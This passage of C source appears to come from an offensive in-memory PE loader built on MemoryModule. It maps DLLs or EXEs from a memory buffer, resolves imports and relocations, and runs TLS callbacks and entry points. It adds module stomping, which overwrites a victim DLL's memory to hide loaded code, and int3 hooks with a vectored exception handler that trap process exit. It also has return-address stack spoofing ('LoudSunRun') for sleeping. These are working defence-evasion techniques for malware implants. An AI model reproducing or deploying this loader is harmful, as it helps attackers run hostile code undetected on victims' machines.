return (LPVOID) AlignValueDown((uintptr_t) address, alignment);
}
static inline size_t AlignValueUp(size_t value, size_t alignment)
{
return (value + alignment - 1) & ~(alignment - 1);
}
static inline void* OffsetPointer(void* data, ptrdiff_t offset)
{
return (void*) ((uintptr_t) data + offset);
}
static inline BOOL CheckSize(size_t size, size_t expected)
{
if (size < expected)
{
// SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
return TRUE;
}
#ifdef _WIN64
static inline BOOL MemorySpans4GbBoundary(unsigned char *code, size_t size)
{
return (((uintptr_t) code) >> 32) < (((uintptr_t) (code + size)) >> 32);
}
static void FreePointerList(INSTANCE* inst, POINTER_LIST *head)
{
POINTER_LIST *node = head;
while (node)
{
POINTER_LIST *next = node->next;
MM_VirtualFree(inst, node->address, 0, MEM_RELEASE);
MM_VirtualFree(inst, node, 0, MEM_RELEASE);
node = next;
}
}
#endif
static inline BOOL CopySections(INSTANCE* inst ,const unsigned char *data, size_t size, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
int i, section_size;
unsigned char *codeBase = module->codeBase;
unsigned char *dest;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
{
DWORD sectionStart = section->VirtualAddress;
DWORD sectionVirtualSize = section->Misc.VirtualSize;
DWORD sectionRawSize = section->SizeOfRawData;
if (section->SizeOfRawData == 0)
{
// section doesn't contain data in the dll itself, but may define
// uninitialized data
section_size = old_headers->OptionalHeader.SectionAlignment;
if (section_size > 0) {
dest = codeBase + section->VirtualAddress;
if (dest == NULL)
{
return FALSE;
}
// Always use position from file to support alignments smaller
// than page size (allocation above will align to page size).
dest = codeBase + section->VirtualAddress;
// NOTE: On 64bit systems we truncate to 32bit here but expand
// again later when "PhysicalAddress" is used.
section->Misc.PhysicalAddress = (DWORD) ((uintptr_t) dest & 0xffffffff);
memset(dest, 0, section_size);
}
// section is empty
continue;
}
if (!CheckSize(size, section->PointerToRawData + section->SizeOfRawData))
{
return FALSE;
}
// commit memory block and copy data from dll
dest = codeBase + section->VirtualAddress;
if (dest == NULL)
{
return FALSE;
}
// Always use position from file to support alignments smaller
// than page size (allocation above will align to page size).
dest = codeBase + section->VirtualAddress;
memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
// NOTE: On 64bit systems we truncate to 32bit here but expand
// again later when "PhysicalAddress" is used.
section->Misc.PhysicalAddress = (DWORD) ((uintptr_t) dest & 0xffffffff);
#if DW_HAS_RUNTIME_FUNCTION_TABLE
DWORD exceptionRva = old_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
DWORD exceptionSize = old_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
DWORD sectionSpan = sectionVirtualSize;
if (sectionRawSize > sectionSpan)
sectionSpan = sectionRawSize;
DWORD sectionEnd = sectionStart + sectionSpan;
if (exceptionRva && exceptionSize && exceptionRva >= sectionStart && exceptionRva < sectionEnd)
{
DWORD maxExceptionSize = sectionEnd - exceptionRva;
if (exceptionSize > maxExceptionSize)
exceptionSize = maxExceptionSize;
module->pdataStart = (PRUNTIME_FUNCTION)(codeBase + exceptionRva);
module->pdataSize = exceptionSize;
#ifdef DEBUG_OUTPUT
printf("section->Name %s\n", section->Name);
printf("module->pdataStart %p\n", module->pdataStart);
printf("module->pdataSize %lu\n", module->pdataSize);
#endif
}
#endif
}
return TRUE;
}
static inline SIZE_T GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section)
{
DWORD size = section->SizeOfRawData;
if (size == 0)
{
if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
{
size = module->headers->OptionalHeader.SizeOfInitializedData;
}
else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
{
size = module->headers->OptionalHeader.SizeOfUninitializedData;
}
}
return (SIZE_T) size;
}
static inline BOOL FinalizeSection(INSTANCE* inst, PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData)
{
DWORD protect, oldProtect;
BOOL executable;
BOOL readable;
BOOL writeable;
if (sectionData->size == 0)
{
return TRUE;
}
if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE)
{
// section is not needed any more and can safely be freed
if (sectionData->address == sectionData->alignedAddress &&
(sectionData->last ||
module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
(sectionData->size % module->pageSize) == 0)
)
{
// Only allowed to decommit whole pages
MM_VirtualFree(inst, sectionData->address, sectionData->size, MEM_DECOMMIT);
}
return TRUE;
}
// determine protection flags based on characteristics
executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if(executable && !readable && !writeable)
{
protect=PAGE_EXECUTE;
}
else if(executable && readable && !writeable)
{
protect=PAGE_EXECUTE_READ;
}
else if(executable && readable && writeable)
{
protect=PAGE_EXECUTE_READWRITE;
}
else if(executable && !readable && writeable)
{
protect=PAGE_EXECUTE_WRITECOPY;
}
else if(!executable && !readable && !writeable)
{
protect=PAGE_NOACCESS;
}
else if(!executable && readable && !writeable)
{
protect=PAGE_READONLY;
}
else if(!executable && readable && writeable)
{
protect=PAGE_READWRITE;
}
else if(!executable && !readable && writeable)
{
protect=PAGE_WRITECOPY;
}
if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
protect |= PAGE_NOCACHE;
}
// change memory access flags
if (MM_VirtualProtect(inst, sectionData->address, sectionData->size, protect, &oldProtect) == 0)
{
return FALSE;
}
if (executable)
{
HANDLE process = MM_GetCurrentProcess(inst);
if (process && !MM_FlushInstructionCache(inst, process, sectionData->address, sectionData->size))
{
return FALSE;
}
#ifdef DEBUG_OUTPUT
printf("FlushInstructionCache section=%p size=%llu\n",
sectionData->address,
(unsigned long long)sectionData->size);
#endif
}
return TRUE;
}
static inline BOOL FinalizeSections(INSTANCE* inst, PMEMORYMODULE module)
{
int i;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
#ifdef _WIN64
// "PhysicalAddress" might have been truncated to 32bit above, expand to
// 64bits again.
uintptr_t imageOffset = ((uintptr_t) module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);
#else
static const uintptr_t imageOffset = 0;
#endif
SECTIONFINALIZEDATA sectionData;
sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
sectionData.alignedAddress = AlignAddressDown(sectionData.address, module->pageSize);
sectionData.size = GetRealSectionSize(module, section);
sectionData.characteristics = section->Characteristics;
sectionData.last = FALSE;
section++;
// loop through all sections and change access flags
for (i=1; i<module->headers->FileHeader.NumberOfSections; i++, section++)
{
LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
LPVOID alignedAddress = AlignAddressDown(sectionAddress, module->pageSize);
SIZE_T sectionSize = GetRealSectionSize(module, section);
// Combine access flags of all sections that share a page
// TODO(fancycode): We currently share flags of a trailing large section
// with the page of a first small section. This should be optimized.
if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress)
{
// Section shares page with previous
if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0)
{
sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;
}
else
{
sectionData.characteristics |= section->Characteristics;
}
sectionData.size = (((uintptr_t)sectionAddress) + ((uintptr_t) sectionSize)) - (uintptr_t) sectionData.address;
continue;
}
if (!FinalizeSection(inst, module, &sectionData))
{
return FALSE;
}
sectionData.address = sectionAddress;
sectionData.alignedAddress = alignedAddress;
sectionData.size = sectionSize;
sectionData.characteristics = section->Characteristics;
}
sectionData.last = TRUE;
if (!FinalizeSection(inst, module, &sectionData))
{
return FALSE;
}
return TRUE;
}
static inline BOOL ExecuteTLS(INSTANCE* inst, PMEMORYMODULE module)
{
unsigned char *codeBase = module->codeBase;
PIMAGE_TLS_DIRECTORY tls;
PIMAGE_TLS_CALLBACK* callback;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);
if (directory->VirtualAddress == 0)
{
return TRUE;
}
tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress);
callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks;
if (callback)
{
while (*callback)
{
(*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL);
callback++;
}
}
return TRUE;
}
static inline BOOL PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
{
unsigned char *codeBase = module->codeBase;
PIMAGE_BASE_RELOCATION relocation;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (directory->Size == 0)
{
return (delta == 0);
}
relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress);
for (; relocation->VirtualAddress > 0; )
{
DWORD i;
unsigned char *dest = codeBase + relocation->VirtualAddress;
unsigned short *relInfo = (unsigned short*) OffsetPointer(relocation, IMAGE_SIZEOF_BASE_RELOCATION);
for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) {
// the upper 4 bits define the type of relocation
int type = *relInfo >> 12;
// the lower 12 bits define the offset
int offset = *relInfo & 0xfff;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
// skip relocation
break;
case IMAGE_REL_BASED_HIGHLOW:
// change complete 32 bit address
{
DWORD *patchAddrHL = (DWORD *) (dest + offset);
*patchAddrHL += (DWORD) delta;
}
break;
#ifdef _WIN64
case IMAGE_REL_BASED_DIR64:
{
ULONGLONG *patchAddr64 = (ULONGLONG *) (dest + offset);
*patchAddr64 += (ULONGLONG) delta;
}
break;
#endif
default:
//printf("Unknown relocation: %d\n", type);
break;
}
}
// advance to next relocation block
relocation = (PIMAGE_BASE_RELOCATION) OffsetPointer(relocation, relocation->SizeOfBlock);
}
return TRUE;
}
static inline BOOL BuildImportTable(INSTANCE* inst, PMEMORYMODULE module)
{
unsigned char *codeBase = module->codeBase;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
BOOL result = TRUE;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (directory->Size == 0)
{
return TRUE;
}
importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
// It's null-terminated (i.e., last entry has Name == 0)
for (; importDesc->Name; importDesc++)
{
uintptr_t *thunkRef;
FARPROC *funcRef;
HCUSTOMMODULE *tmp;
HCUSTOMMODULE handle = MM_LoadLibraryA(inst, (LPCSTR) (codeBase + importDesc->Name));
if (handle == NULL)
{
result = FALSE;
break;
}
SIZE_T newCount = module->numModules + 1;
SIZE_T newSize = newCount * sizeof(HCUSTOMMODULE);
if (module->modules == NULL)
{
tmp = (HCUSTOMMODULE *) MM_VirtualAlloc(inst, NULL, newSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
}
else
{
tmp = (HCUSTOMMODULE *) MM_VirtualAlloc(inst, NULL, newSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (tmp != NULL)
{
SIZE_T oldSize = module->numModules * sizeof(HCUSTOMMODULE);
memcpy(tmp, module->modules, oldSize);
MM_VirtualFree(inst, module->modules, 0, MEM_RELEASE);
}
}
if (tmp == NULL)
{
result = FALSE;
break;
}
module->modules = tmp;
module->modules[module->numModules++] = handle;
if (importDesc->OriginalFirstThunk)
{
thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
}
else
{
// no hint table
thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
}
for (; *thunkRef; thunkRef++, funcRef++)
{
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef))
{
*funcRef = MM_GetProcAddress(inst, handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
}
else
{
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef));
*funcRef = MM_GetProcAddress(inst, handle, (LPCSTR)&thunkData->Name);
}
if (*funcRef == 0)
{
result = FALSE;
break;
}
}
if (!result)
{
break;
}
}
return result;
}
HMEMORYMODULE MemoryLoadLibrary(INSTANCE* inst, const void *data, size_t size)
{
PMEMORYMODULE result = NULL;
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS old_header;
unsigned char *code, *headers;
ptrdiff_t locationDelta;
PIMAGE_SECTION_HEADER section;
DWORD i;
size_t optionalSectionSize;
size_t lastSectionEnd = 0;
size_t alignedImageSize;
SYSTEM_INFO sysInfo;
DWORD pageSize;
#ifdef _WIN64
POINTER_LIST *blockedMemory = NULL;
#endif
if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER)))
return NULL;
dos_header = (PIMAGE_DOS_HEADER)data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
if (!CheckSize(size, dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS)))
return NULL;
old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
if (old_header->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (old_header->FileHeader.Machine != HOST_MACHINE)
return NULL;
if (old_header->OptionalHeader.SectionAlignment & 1)
return NULL;
section = IMAGE_FIRST_SECTION(old_header);
optionalSectionSize = old_header->OptionalHeader.SectionAlignment;
for (i=0; i<old_header->FileHeader.NumberOfSections; i++, section++)
{
size_t endOfSection;
if (section->SizeOfRawData == 0)
{
// Section without data in the DLL
endOfSection = section->VirtualAddress + optionalSectionSize;
}
else
{
endOfSection = section->VirtualAddress + section->SizeOfRawData;
}
if (endOfSection > lastSectionEnd)
{
lastSectionEnd = endOfSection;
}
}
sysInfo.dwPageSize = 0;
MM_GetNativeSystemInfo(inst, &sysInfo);
pageSize = sysInfo.dwPageSize ? sysInfo.dwPageSize : 0x1000;
alignedImageSize = AlignValueUp(old_header->OptionalHeader.SizeOfImage, pageSize);
if (alignedImageSize != AlignValueUp(lastSectionEnd, pageSize))
return NULL;
if(inst->isModuleStompingUsed==0)
{
// reserve memory for image of library
// XXX: is it correct to commit the complete memory region at once?
// calling DllEntry raises an exception if we don't...
code = (unsigned char *)MM_VirtualAlloc(inst, (LPVOID)(old_header->OptionalHeader.ImageBase), alignedImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (code == NULL)
{
// try to allocate memory at arbitrary position
code = (unsigned char *)MM_VirtualAlloc(inst, NULL, alignedImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (code == NULL)
return NULL;
}
#ifdef _WIN64
// Section addresses are stored as low 32 bits until FinalizeSections.
// Keep retrying if the image would cross a 4 GB boundary.
while (MemorySpans4GbBoundary(code, alignedImageSize))
{
POINTER_LIST *node = (POINTER_LIST *)MM_VirtualAlloc(inst, NULL, sizeof(POINTER_LIST),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!node)
{
MM_VirtualFree(inst, code, 0, MEM_RELEASE);
FreePointerList(inst, blockedMemory);
return NULL;
}
node->next = blockedMemory;
node->address = code;
blockedMemory = node;
code = (unsigned char *)MM_VirtualAlloc(inst, NULL, alignedImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (code == NULL)
{
FreePointerList(inst, blockedMemory);
return NULL;
}
}
#endif
}
else
{
//
// module stomping
//
HMODULE victimLib = MM_LoadLibraryA(inst, (char*)inst->sModuleToStomp);
if (!victimLib)
return NULL;
char * ptr = (char *) victimLib + pageSize * 2;
code = ptr;
#ifdef _WIN64
if (MemorySpans4GbBoundary(code, alignedImageSize))
return NULL;
#endif
DWORD oldprotect = 0;
if (!MM_VirtualProtect(inst, (char *)ptr, alignedImageSize + pageSize, PAGE_READWRITE, &oldprotect))
return NULL;
memset(ptr, 0, alignedImageSize + pageSize);
}
result = (PMEMORYMODULE) MM_VirtualAlloc(inst, NULL, sizeof(MEMORYMODULE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (result == NULL)
{
#ifdef _WIN64
FreePointerList(inst, blockedMemory);
#endif
if (inst->isModuleStompingUsed == 0)
MM_VirtualFree(inst, code, 0, MEM_RELEASE);
return NULL;
}
result->codeBase = code;
result->inst = inst;
result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
result->pageSize = pageSize;
#ifdef _WIN64
result->blockedMemory = blockedMemory;
#endif
if (!CheckSize(size, old_header->OptionalHeader.SizeOfHeaders))
return NULL;
// commit memory for headers
headers = code;
// copy PE header to code
for(int indxi=0; indxi<old_header->OptionalHeader.SizeOfHeaders; indxi++)
headers[indxi] = ((char*)dos_header)[indxi];
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];
// update position
result->headers->OptionalHeader.ImageBase = (uintptr_t)code;
// copy sections from DLL file block to new memory location
if (!CopySections(inst, (const unsigned char *) data, size, old_header, result))
return NULL;
// adjust base address of imported data
locationDelta = (ptrdiff_t)(result->headers->OptionalHeader.ImageBase - old_header->OptionalHeader.ImageBase);
if (locationDelta != 0)
{
result->isRelocated = PerformBaseRelocation(result, locationDelta);
}
else
{
result->isRelocated = TRUE;
}
// load required dlls and adjust function table of imports
if (!BuildImportTable(inst, result))
return NULL;
// mark memory pages depending on section headers and release
// sections that are marked as "discardable"
if (!FinalizeSections(inst, result))
return NULL;
// TLS callbacks are executed BEFORE the main loading
if (!ExecuteTLS(inst, result))
return NULL;
//
// Add function table for stack unwinding
//
// __debugbreak();
#if DW_HAS_RUNTIME_FUNCTION_TABLE
if (result->pdataStart && result->pdataSize)
{
DWORD functionCount = result->pdataSize / sizeof(RUNTIME_FUNCTION);
BOOLEAN functionTableAdded = inst->api.RtlAddFunctionTable(result->pdataStart, functionCount, (DWORD64)result->codeBase);
#ifdef DEBUG_OUTPUT
printf("RtlAddFunctionTable table=%p count=%lu base=%p ret=%u\n",
result->pdataStart,
functionCount,
result->codeBase,
functionTableAdded);
#endif
}
#endif
// get entry point of loaded library
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0)
{
if (result->isDLL) {
DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(code + result->headers->OptionalHeader.AddressOfEntryPoint);
// notify library about attaching to process
BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
if (!successfull)
return NULL;
result->initialized = TRUE;
}
else
{
result->exeEntry = (ExeEntryProc)(LPVOID)(code + result->headers->OptionalHeader.AddressOfEntryPoint);
}
}
else
{
result->exeEntry = NULL;
}
return (HMEMORYMODULE)result;
}
static int _compare(const void *a, const void *b)
{
const struct ExportNameEntry *p1 = (const struct ExportNameEntry*) a;
const struct ExportNameEntry *p2 = (const struct ExportNameEntry*) b;
return strcmp(p1->name, p2->name);
}
static int _find(const void *a, const void *b)
{
LPCSTR *name = (LPCSTR *) a;
const struct ExportNameEntry *p = (const struct ExportNameEntry*) b;
return strcmp(*name, p->name);
}
#ifdef _M_X64
#define IP Rip
#elif defined(_M_ARM64)
#define IP Pc
#else
#define IP Eip
#endif
static BOOL PutInt3(INSTANCE* inst, LPBYTE target, BYTE* saved)
{
if (!inst || !target || !saved)
return FALSE;
DWORD oldProtect = 0;
if (!MM_VirtualProtect(inst, target, 1, PAGE_EXECUTE_READWRITE, &oldProtect))
return FALSE;
*saved = *target;
*target = 0xCC;
HANDLE process = MM_GetCurrentProcess(inst);
if (process)
MM_FlushInstructionCache(inst, process, target, 1);
MM_VirtualProtect(inst, target, 1, oldProtect, &oldProtect);
return TRUE;
}
static void RestoreByte(INSTANCE* inst, LPBYTE target, BYTE saved)
{
if (!inst || !target)
return;
DWORD oldProtect = 0;
if (!MM_VirtualProtect(inst, target, 1, PAGE_EXECUTE_READWRITE, &oldProtect))
return;
*target = saved;
HANDLE process = MM_GetCurrentProcess(inst);
if (process)
MM_FlushInstructionCache(inst, process, target, 1);
MM_VirtualProtect(inst, target, 1, oldProtect, &oldProtect);
}
static LONG CALLBACK VehExitTrap(PEXCEPTION_POINTERS p)
{
if (!p || p->ExceptionRecord->ExceptionCode != EXCEPTION_BREAKPOINT)
return EXCEPTION_CONTINUE_SEARCH;
INSTANCE* inst = MmGetThreadInstance();
if (!inst)
return EXCEPTION_CONTINUE_SEARCH;
EXIT_VEH_CONTEXT* ctx = &inst->exitVehContext;
void* addr = p->ExceptionRecord->ExceptionAddress;
if (addr == ctx->k32ExitProcess || addr == ctx->ntdllExitUserProcess) {
p->ContextRecord->IP = (DWORD_PTR)AfterExeContinuation;
#ifdef DEBUG_OUTPUT
printf("VehExitTrap\n");
#endif
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
static BOOL InstallExitVEH(INSTANCE* inst)
{
#ifdef DEBUG_OUTPUT
printf("InstallExitVEH\n");
#endif
if (!inst)
return FALSE;
EXIT_VEH_CONTEXT* ctx = &inst->exitVehContext;
if (ctx->vehHandle)
return TRUE;
if (!inst->api.VirtualProtect || !inst->api.AddVectoredExceptionHandler ||
!inst->api.RemoveVectoredExceptionHandler || !inst->api.ExitThread ||
!inst->api.ExitProcess || !inst->api.FlushInstructionCache ||
!inst->api.GetCurrentProcess)
return FALSE;
ctx->previousArbitraryUserPointer = MmReadArbitraryUserPointer();
ctx->hasPreviousArbitraryUserPointer = 1;
MmWriteArbitraryUserPointer(inst);
HMODULE k32 = MM_GetModuleHandleA(inst, (char*)inst->sKernel32DLL);
HMODULE ntd = MM_GetModuleHandleA(inst, (char*)inst->sNtDLL);
if (!k32 || !ntd)
goto Failure;
ctx->k32ExitProcess = (LPBYTE)MM_GetProcAddress(inst, k32, (char*)inst->sExitProcess);
ctx->ntdllExitUserProcess = (LPBYTE)MM_GetProcAddress(inst, ntd, (char*)inst->sRtlExitUserProcess);
if (!ctx->k32ExitProcess || !ctx->ntdllExitUserProcess)
goto Failure;
if (!PutInt3(inst, ctx->k32ExitProcess, &ctx->savedK32Byte))
goto Failure;
if (!PutInt3(inst, ctx->ntdllExitUserProcess, &ctx->savedNtdllByte))
{
RestoreByte(inst, ctx->k32ExitProcess, ctx->savedK32Byte);
goto Failure;
}
ctx->vehHandle = MM_AddVectoredExceptionHandler(inst, 1, VehExitTrap);
if (!ctx->vehHandle)
{
RestoreByte(inst, ctx->k32ExitProcess, ctx->savedK32Byte);
RestoreByte(inst, ctx->ntdllExitUserProcess, ctx->savedNtdllByte);
goto Failure;
}
#ifdef DEBUG_OUTPUT
printf("InstallExitVEH OK\n");
#endif
return TRUE;
Failure:
if (ctx->hasPreviousArbitraryUserPointer)
{
MmWriteArbitraryUserPointer(ctx->previousArbitraryUserPointer);
ctx->previousArbitraryUserPointer = NULL;
ctx->hasPreviousArbitraryUserPointer = 0;
}
ctx->k32ExitProcess = NULL;
ctx->ntdllExitUserProcess = NULL;
ctx->vehHandle = NULL;
return FALSE;
}
static void RemoveExitVEH(INSTANCE* inst)
{
if (!inst)
return;
EXIT_VEH_CONTEXT* ctx = &inst->exitVehContext;
if (ctx->vehHandle) {
MM_RemoveVectoredExceptionHandler(inst, ctx->vehHandle);
ctx->vehHandle = NULL;
}
if (ctx->k32ExitProcess) {
RestoreByte(inst, ctx->k32ExitProcess, ctx->savedK32Byte);
ctx->k32ExitProcess = NULL;
}
if (ctx->ntdllExitUserProcess) {
RestoreByte(inst, ctx->ntdllExitUserProcess, ctx->savedNtdllByte);
ctx->ntdllExitUserProcess = NULL;
}
if (ctx->hasPreviousArbitraryUserPointer) {
MmWriteArbitraryUserPointer(ctx->previousArbitraryUserPointer);
ctx->previousArbitraryUserPointer = NULL;
ctx->hasPreviousArbitraryUserPointer = 0;
}
}
static DWORD HandleExitBehavior(void)
{
#ifdef DEBUG_OUTPUT
printf("HandleExitBehavior\n");
#endif
INSTANCE* inst = MmGetThreadInstance();
if (!inst)
return 0;
RemoveExitVEH(inst);
#ifdef DEBUG_OUTPUT
printf("RemoveExitVEH\n");
#endif
BYTE mode = inst->exitMode;
if (mode != 2 && mode != 3)
mode = 1;
#ifdef DEBUG_OUTPUT
printf("EXE exite handler - mode %u\n", mode);
#endif
if (mode == 3) {
#if DW_HAS_STACK_SPOOFING
//
// LoudSunRun -> we need a gadget to perform the return to this function
//
HMODULE moduleKernel32 = hlpGetModuleHandle((wchar_t*)inst->wsKernel32DLL);
inst->api.RtlLookupFunctionEntry = (RtlLookupFunctionEntry_t)hlpGetProcAddress(moduleKernel32, (char*)inst->sRtlLookupFunctionEntry);
PVOID ReturnAddress = NULL;
PRM p = { 0 };
PRM ogp = { 0 };
NTSTATUS status = STATUS_SUCCESS;
p.trampoline = FindGadget(moduleKernel32, 0x200000, inst->sGadget);
ReturnAddress = (PBYTE)(inst->api.GetProcAddress(moduleKernel32, (char*)inst->sBaseThreadInitThunk)) + 0x14; // Would walk export table but am lazy
p.BTIT_ss = (PVOID)CalculateFunctionStackSizeWrapper(inst, ReturnAddress);
p.BTIT_retaddr = ReturnAddress;
ReturnAddress = (PBYTE)(inst->api.GetProcAddress(inst->api.GetModuleHandleA(inst->sNtDLL), (char*)inst->sRtlUserThreadStart)) + 0x21;
p.RUTS_ss = (PVOID)CalculateFunctionStackSizeWrapper(inst, ReturnAddress);
p.RUTS_retaddr = ReturnAddress;
p.Gadget_ss = CalculateFunctionStackSizeWrapper(inst, p.trampoline);
for (;;) {
SpoofWithReturn(1000, NULL, NULL, NULL, &p, inst->api.Sleep, (PVOID)0);
}
#else
for (;;) {
inst->api.Sleep(1000);
}
#endif
}
if (mode == 2) {
MM_ExitProcess(inst, 0);
} else {
MM_ExitThread(inst, 0);
}
return 0;
}
static DWORD WINAPI AfterExeContinuation(LPVOID parameter)
{
(void)parameter;
return HandleExitBehavior();
}
#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
int strCmp(const char* s1, const char* s2)
{
while (*s1 && (*s1 == *s2))
{
s1++;
s2++;
}
return *(const unsigned char*)s1 - *(const unsigned char*)s2;
}
FARPROC MemoryGetProcAddress(INSTANCE* inst, HMEMORYMODULE mod, LPCSTR name)
{
PMEMORYMODULE module = (PMEMORYMODULE)mod;
unsigned char *codeBase = module->codeBase;
DWORD idx = 0;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_EXPORT);
if (directory->Size == 0)
{
// no export table found
return NULL;
}
exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0)
{
// DLL doesn't export anything
return NULL;
}
if (HIWORD(name) == 0)
{
// load function by ordinal value
if (LOWORD(name) < exports->Base)
{
return NULL;
}
idx = LOWORD(name) - exports->Base;
}
else if (!exports->NumberOfNames)
{
return NULL;
}
else
{
const struct ExportNameEntry *found;
// Lazily build name table and sort it by names
if (!module->nameExportsTable)
{
DWORD i;
DWORD *nameRef = (DWORD *) (codeBase + exports->AddressOfNames);
WORD *ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);
struct ExportNameEntry *entry = (struct ExportNameEntry*) MM_VirtualAlloc(inst, NULL, exports->NumberOfNames * sizeof(struct ExportNameEntry), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
module->nameExportsTable = entry;
if (!entry)
{
return NULL;
}
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++, entry++)
{
entry->name = (const char *) (codeBase + (*nameRef));
entry->idx = *ordinal;
}
}
for (int ii = 0; ii < exports->NumberOfNames; ii++)
{
if (strCmp(module->nameExportsTable[ii].name, name) == 0)
found = &module->nameExportsTable[ii];
}
// search function name in list of exported names with binary search
if (!found)
{
// exported symbol not found
return NULL;
}
idx = found->idx;
}
if (idx > exports->NumberOfFunctions)
{
// name <-> ordinal number don't match
return NULL;
}
// AddressOfFunctions contains the RVAs to the "real" functions
return (FARPROC)(LPVOID)(codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions + (idx*4))));
}
#ifdef DEBUG_OUTPUT
#if defined(_M_ARM64)
#define DW_DEBUG_GOODCLR_PATH ".\\bin\\arm64\\goodClr.dll"
#elif defined(_M_X64)
#define DW_DEBUG_GOODCLR_PATH ".\\bin\\x64\\goodClr.dll"
#else
#define DW_DEBUG_GOODCLR_PATH ".\\bin\\x86\\goodClr.dll"
#endif
static void DebugConfigureOutput(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
static int DebugExceptionFilter(PEXCEPTION_POINTERS exceptionInfo)
{
DWORD code = 0;
void* address = NULL;
if (exceptionInfo && exceptionInfo->ExceptionRecord)
{
code = exceptionInfo->ExceptionRecord->ExceptionCode;
address = exceptionInfo->ExceptionRecord->ExceptionAddress;
}
printf("[!] LoaderTest exception 0x%08lX at %p\n", code, address);
fflush(stdout);
return EXCEPTION_EXECUTE_HANDLER;
}
int testGenric(char* peFilename1, int isDll, char* methodeName, int isDotNet, char* cmdLine)
{
DebugConfigureOutput();
